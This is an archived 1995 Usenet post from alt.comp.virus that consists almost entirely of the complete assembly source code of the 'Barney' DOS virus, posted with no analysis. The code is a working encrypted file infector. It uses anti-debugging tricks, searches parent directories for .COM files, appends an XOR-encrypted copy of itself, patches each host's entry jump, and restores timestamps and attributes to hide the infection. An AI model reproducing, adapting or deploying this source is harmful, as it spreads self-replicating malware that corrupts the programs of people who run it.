home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / b / barney.asm / text0000.txt < prev   
Encoding:
Text File  |  1998-01-14  |  9.3 KB  |  311 lines
  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!newsxfer.itd.umich.edu!agate!howland.reston.ans.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
  3. From: danishm@iia.org ()
  4. Newsgroups: alt.comp.virus
  5. Subject: Barney virus
  6. Date: 5 Feb 1995 22:06:47 GMT
  7. Organization: International Internet Association.
  8. Lines: 291
  9. Message-ID: <3h3i5n$v4@ankh.iia.org>
  10. NNTP-Posting-Host: iia.org
  11. X-Newsreader: TIN [version 1.2 PL2]
  12.  
  13. Here is the Barney virus:
  14.  
  15.  
  16. ; Barney virus
  17. PING            equ     0F92Fh
  18. INFECT          equ     1
  19.  
  20. code            segment
  21.                 org     100h
  22.                 assume  cs:code,ds:code
  23.  
  24. start:
  25.                 db      0E9h,3,0          ; to virus
  26. host:
  27.                 db      0CDh,20h,0        ; host program
  28. virus_begin:
  29.  
  30.                 mov     dx,VIRUS_SIZE / 2 + 1
  31.                 db      0BBh                    ; decryption module
  32. code_offset     dw      offset virus_code
  33.  
  34. decrypt:
  35.                 db      02Eh,081h,37h           ; XOR CS:[BX]
  36. cipher          dw      0
  37.                 inc     bx
  38.                 inc     bx
  39.                 dec     dx
  40.                 jnz     decrypt
  41.  
  42.  
  43. virus_code:
  44.                 call    $ + 3             ; BP is instruction ptr.
  45.                 pop     bp
  46.                 sub     bp,offset $ - 1
  47.  
  48.                 push    ds es
  49.  
  50.                 cli
  51.                 mov     ax,PING           ; mild anti-trace code
  52.                 push    ax
  53.                 pop     ax
  54.                 dec     sp
  55.                 dec     sp
  56.                 pop     bx
  57.                 cmp     ax,bx
  58.                 je      no_trace
  59.                 hlt
  60.  
  61. no_trace:
  62.                 sti
  63.                 in      al,21h            ; lock out & reopen keyboard
  64.                 xor     al,2
  65.                 out     21h,al
  66.                 xor     al,2
  67.                 out     21h,al
  68.  
  69.                 lea     dx,[bp + offset new_DTA]
  70.                 mov     ah,1Ah
  71.                 int     21h
  72.  
  73.                 mov     byte ptr [bp + infections],0
  74.  
  75.                 call    traverse
  76.  
  77.                 pop     es ds
  78.                 mov     dx,80h
  79.                 mov     ah,1Ah
  80.                 int     21h
  81.  
  82. com_exit:
  83.                 lea     si,[bp + host]          ; restore host program
  84.                 mov     di,100h
  85.                 push    di
  86.                 movsw
  87.                 movsb
  88.  
  89.                 call    fix_regs                ; fix up registers
  90.                 ret                             ; and leave
  91.  
  92. fix_regs:
  93.                 xor     ax,ax
  94.                 cwd
  95.                 xor     bx,bx
  96.                 mov     si,100h
  97.                 xor     di,di
  98.                 xor     bp,bp
  99.                 ret
  100.  
  101.  
  102. traverse:
  103.                 sub     sp,64                   ; allocate stack space
  104.                 mov     si,sp
  105.                 inc     si
  106.                 mov     ah,47h                  ; get current directory
  107.                 xor     dl,dl
  108.                 int     21h
  109.  
  110.                 dec     si
  111.                 mov     byte ptr ss:[si],'\' ; fix directory
  112.  
  113. next_dir:
  114.                 call    infect_dir
  115.  
  116.                 cmp     byte ptr [bp + infections],INFECT
  117.                 je      traverse_done
  118.  
  119.                 lea     dx,[bp + outer]         ; repeat in next dir up
  120.                 mov     ah,3Bh
  121.                 int     21h
  122.                 jnc     next_dir
  123.  
  124. traverse_done:
  125.                 add     sp,64                   ; reset
  126.                 mov     dx,si
  127.                 mov     ah,3Bh
  128.                 int     21h
  129.                 ret
  130.  
  131. infect_dir:
  132.                 mov     ah,4Eh
  133.                 lea     dx,[bp + find_me]
  134.                 int     21h
  135.                 jc      infect_done
  136.  
  137. next_file:
  138.                 lea     dx,[bp + new_DTA + 1Eh]
  139.                 call    execute
  140.                 cmp     byte ptr [bp + infections],INFECT
  141.                 je      infect_done
  142.                 mov     ah,4Fh
  143.                 int     21h
  144.                 jnc     next_file
  145.  
  146. infect_done:
  147.                 ret
  148. execute:
  149.                 push    si
  150.  
  151.                 xor     ax,ax                   ; critical error handler
  152.                 mov     es,ax                   ; routine - catch int 24
  153.                 lea     ax,[bp + int_24]
  154.                 mov     es:[24h * 4],ax
  155.                 mov     es:[24h * 4 + 2],cs
  156.  
  157.                 mov     ax,4300h                ; change attributes
  158.                 int     21h
  159.  
  160.                 push    cx dx ds
  161.                 xor     cx,cx
  162.                 call    set_attributes
  163.  
  164.                 mov     ax,3D02h                ; open file
  165.                 int     21h
  166.                 jc      cant_open
  167.                 xchg    bx,ax
  168.  
  169.                 mov     ax,5700h                ; save file date/time
  170.                 int     21h
  171.                 push    cx dx
  172.                 mov     ah,3Fh
  173.                 mov     cx,28
  174.                 lea     dx,[bp + read_buffer]
  175.                 int     21h
  176.  
  177.                 cmp     word ptr [bp + read_buffer],'ZM'
  178.                 je      dont_infect             ; .EXE, skip
  179.  
  180.                 mov     al,2                    ; move to end of file
  181.                 call    move_file_ptr
  182.  
  183.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  184.                 ja      dont_infect             ; too big, don't infect
  185.  
  186.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  187.                 cmp     dx,word ptr [bp + read_buffer + 1]
  188.                 je      dont_infect
  189.  
  190.                 add     dx,VIRUS_SIZE + 3
  191.                 mov     word ptr [bp + new_jump + 1],dx
  192.  
  193.                 add     dx,103h
  194.                 call    encrypt_code            ; encrypt virus
  195.  
  196.                 lea     dx,[bp + read_buffer]   ; save original program head
  197.                 int     21h
  198.                 mov     ah,40h                  ; write virus to file
  199.                 mov     cx,VIRUS_SIZE
  200.                 lea     dx,[bp + encrypt_buffer]
  201.                 int     21h
  202.  
  203.                 xor     al,al                   ; back to beginning of file
  204.                 call    move_file_ptr
  205.  
  206.                 lea     dx,[bp + new_jump]
  207.                 int     21h
  208.  
  209. fix_date_time:
  210.                 pop     dx cx
  211.                 mov     ax,5701h                ; restore file date/time
  212.                 int     21h
  213.  
  214.                 inc     byte ptr [bp + infections]
  215.  
  216. close:
  217.                 pop     ds dx cx                ; restore attributes
  218.                 call    set_attributes
  219.  
  220.                 mov     ah,3Eh                  ; close file
  221.                 int     21h
  222.  
  223. cant_open:
  224.                 pop     si
  225.                 ret
  226.  
  227.  
  228. set_attributes:
  229.                 mov     ax,4301h
  230.                 int     21h
  231.                 ret
  232.  
  233. dont_infect:
  234.                 pop     cx dx                   ; can't infect, skip
  235.                 jmp     close
  236.  
  237. move_file_ptr:
  238.                 mov     ah,42h                  ; move file pointer
  239.                 cwd
  240.                 xor     cx,cx
  241.                 int     21h
  242.  
  243.                 mov     dx,ax                   ; set up registers
  244.                 mov     ah,40h
  245.                 mov     cx,3
  246.                 ret
  247.  
  248. courtesy_of     db      '[BW]',0
  249. signature       db      'BARNEY (c) by HypoDermic!! Part of the Mayberry Family!!!',0
  250.  
  251.  
  252. encrypt_code:
  253.                 push    ax cx
  254.  
  255.                 push    dx
  256.                 xor     ah,ah                   ; get time for random number
  257.                 int     1Ah
  258.  
  259.                 mov    [bp + cipher],dx
  260.                 pop     cx
  261.                 add     cx,virus_code - virus_begin
  262.                 mov     [bp + code_offset],cx
  263.                 push    cs                      ; ES = CS
  264.                 pop     es
  265.  
  266.                 lea     si,[bp + virus_begin]
  267.                 lea     di,[bp + offset encrypt_buffer]
  268.                 mov     cx,virus_code - virus_begin
  269.                 rep     movsb
  270.  
  271.                 mov     cx,VIRUS_SIZE / 2 + 1
  272. encrypt:
  273.                 lodsw                           ; encrypt virus code
  274.                 xor     ax,dx
  275.                 stosw
  276.                 loop    encrypt
  277.  
  278.                 pop     cx ax
  279.                 ret
  280.  
  281.  
  282. find_me         db      '*.COM',0
  283. outer           db      '..',0
  284.  
  285. int_24:
  286.                 mov     al,3                    ; int 24 handler
  287.                 iret
  288. new_jump        db      0E9h,0,0
  289.  
  290. infections      db      0
  291. virus_end:
  292. VIRUS_SIZE      equ     virus_end - virus_begin
  293. read_buffer     db      28 dup (?)              ; read buffer
  294. new_DTA         db      128 dup(?)
  295. encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
  296.  
  297. end_heap:
  298.  
  299. MEM_SIZE        equ     end_heap - start
  300.  
  301. code            ends
  302.                 end     start
  303.  
  304.  
  305. --
  306. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  307. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  308. Student at the Northeatstern University College of Computer Science 
  309. "I Can't Believe It's Not Butter"
  310.  
  311.